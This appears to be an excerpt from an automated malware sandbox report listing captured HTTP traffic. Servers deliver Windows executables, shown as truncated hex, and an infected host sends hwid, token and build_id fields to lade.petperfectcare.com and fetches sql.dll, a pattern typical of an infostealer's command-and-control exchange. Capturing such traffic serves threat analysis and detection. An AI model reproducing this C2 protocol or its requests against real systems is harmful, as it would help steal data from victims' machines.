Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 01:15:45 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 01:15:46 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 01:15:47 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 01:15:47 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 01:15:47 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHDHost: lade.petperfectcare.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 32 37 44 37 35 39 45 33 32 37 39 33 39 39 34 38 38 30 37 35 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="hwid"E27D759E32793994880753-a33c7340-61ca------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------JDGCGDBGCAAEBFIECGHD--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJKHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="mode"1------KKJEBAAECBGDHIECAKJK--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEBHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="mode"2------AKJKFBAFIDAEBFHJKJEB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEGHost: lade.petperfectcare.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="mode"21------HIEBAKEHDHCAKEBFBKEG--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: lade.petperfectcare.comContent-Length: 6997Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFHHost: lade.petperfectcare.comContent-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: lade.petperfectcare.comContent-Length: 1529Connection: Keep-AliveCache-Control: no-cache
